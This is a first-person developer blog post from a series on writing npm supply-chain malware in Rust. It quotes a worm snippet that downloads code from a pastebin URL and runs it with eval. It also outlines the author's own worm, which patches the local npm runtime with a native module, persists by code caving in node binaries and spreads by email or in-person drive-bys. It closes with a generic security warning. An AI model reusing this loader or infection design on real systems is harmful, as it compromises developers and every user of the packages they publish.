Skill Issue Dev | Dax the Dev
open main menu
Lets Make some Rust Malware
Part of series: Rusty Pipes

Rust in Peace: How to Hijack Node.js with a Single Require

/ 5 min read
Last updated:

Rusty Pipes: Building Supply Chain Malware for NPM

This is another entry in my Rusty Pipes series. Its a very simple idea, injecting malware directly into the JavaScript ecosystem using rust. Turns out it is much easier than I ever expected. The entire ecosystem we use to build web applications is built on a trustful model. Where anything can be published or run with no checks by the ecosystem which makes it a ripe playground for supply chain attacks. Let me be clear as a React and Node developer by trade I want to give credit where it is due. It is amazing to see that the internet is basically built entirely on the trust me bro attitude of so many good faith actors. It truly is a testament to the open source community, developers, and companies that make our jobs so interesting and fun.

Understanding the Threat

Supply chain attacks have taken many forms, including dependency confusion attacks, spearheading malicious code backdoors in open-source packages, and compromising build pipeline infrastructure. These attacks often rely on the trust developers place in third-party packages and the complexity of dependencies within the NPM ecosystem. At last estimation, installing an average npm package adds 79 third-party packages and 39 maintainers, which is assumed that we implicitly trust, this creates a huge attack surface.

Building the Malware

In the past we have seen worm attacks like the Fluke which have been small scripts that introduce malicious code to npm packages and attempts to spread. These kinds of attacks are pretty simple, but effective methods to spread malware. Here is an example of that code:

try {
  var https = require('https');
  https.get({
    hostname: 'pastebin.com',
    path: '/raw/XLeVP82h',
    headers: {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
      'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
    }
  }, response => {
    response.setEncoding('utf8');
    response.on('data', contents => {
      eval(contents);
    });
    response.on('error', () => {});
  }).on('error', () => {});
} catch (err) {}

This script uses the https module to fetch malicious code from a Pastebin URL and then evaluates it using the eval function. This allows the malware to update itself by modifying the contents of the Pastebin URL.


My malware is even simpler.

require(malware.node)

By adding this line directly to the node runtime in the npm cli tool at the local level. My worm can copy itself into any and all Node, React, or JavaScript projects on the developers machine. Now any package, site, app or binary the developer publishes will be infected with this worm.

I have also been working on developing a version that directly modifies the node runtime binaries that are present in the developers root machine… by code caving I can undetectably and permanently modify the node install of any machine. Now for those of you thinking that I use Mac and Apple will protect me; this malware is Mac first. That is I am building it on and specifically for our beloved M2/M3 work horses.


Spreading the Malware

To spread the malware, most simple worms try to leverage the NPM ecosystem’s reliance on package dependencies. It does this by creating a malicious package that is designed to spread itself to other machines, instead my worm focuses on infecting already trusted packages and developers. It can be done by spreading through NPM or a drive by attack of your favorite developer at a conference or a malicious email. This a one size fits all way to corrupt a developer’s Node.js runtime. Please note that this attack will not work on NixOS due to its Flakes ecosystem. (#NixOS Mentioned)

The How

With the release of the Rust Neon Crate we can write rust code that is undetectable and universally compatible with the node runtime and takes advantage of the trusted development environment on a developers machine. To be clear I am referring to the trust with which we run things like npm dev or npm install. We allow arbitrary code to be run on our machines out of the level of trust me bro we have in the Node ecosystem. That’s crazy to think about. In any other context even a fresh college grad would realize that arbitrarily running random code is a bad idea. Yet we do it every day, thousands of times a day across a single organization, even at a bank like USAA where I worked the node install is on the Windows VM (i know gross) would still persist across restarts and sessions.

The Code

This project is still in the research and development phase. It has been super fun to work with some truly gifted Rust developers like Sad who have encouraged me at every step to push myself and learn Rust as a JS/TS developer. I will continue to update this blog series and will be releasing this project on Github soonTM.

To Stay Up-To-Date follow me on X @dev_skill_issue


A Warning

The creation of supply chain malware for NPM is a serious threat that requires immediate attention. By understanding the threat and implementing robust security practices, we can reduce the risk of supply chain attacks and protect our applications from malware. Remember, security is a collective responsibility, and it is up to us to ensure the integrity of the software we develop.

References

https://dev.to/snyk/npm-security-preventing-supply-chain-attacks-4ln9 https://jamie.build/how-to-build-an-npm-worm https://docs.npmjs.com/cli/v10/using-npm/scripts/ https://cloud.google.com/blog/topics/threat-intelligence/supply-chain-node-js/ https://auth0.com/blog/secure-nodejs-applications-from-supply-chain-attacks/